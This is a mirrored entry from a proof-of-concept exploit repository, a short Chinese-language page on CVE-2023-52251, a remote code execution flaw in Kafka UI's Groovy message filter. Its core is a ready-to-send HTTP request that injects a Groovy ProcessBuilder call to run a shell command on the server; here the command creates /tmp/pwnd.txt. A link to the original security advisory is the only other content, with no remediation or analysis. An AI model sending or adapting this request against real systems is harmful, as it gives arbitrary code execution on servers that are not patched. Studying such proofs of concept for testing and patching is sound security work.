mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-05-05 10:17:57 +00:00
18 lines
673 B
Markdown
18 lines
673 B
Markdown
## Apache-Kafka的UI中的远程代码执行CVE-2023-52251
|
|
|
|
Kafka UI 受到远程代码执行漏洞的影响。消息过滤组件中导致执行任意未沙盒化的 Groovy 脚本
|
|
|
|
## poc
|
|
|
|
```
|
|
GET /api/clusters/local/topics/topic/messages?q=new+ProcessBuilder%28%22touch%22%2C%22%2Ftmp%2Fpwnd.txt%22%29.start%28%29&filterQueryType=GROOVY_SCRIPT&attempt=7&limit=100&page=0&seekDirection=FORWARD&keySerde=String&valueSerde=String&seekType=BEGINNING HTTP/1.1
|
|
Host: 127.0.0.1:8091
|
|
```
|
|
|
|

|
|
|
|
|
|
|
|
## 漏洞来源
|
|
|
|
- https://securitylab.github.com/advisories/GHSL-2023-229_GHSL-2023-230_kafka-ui/ |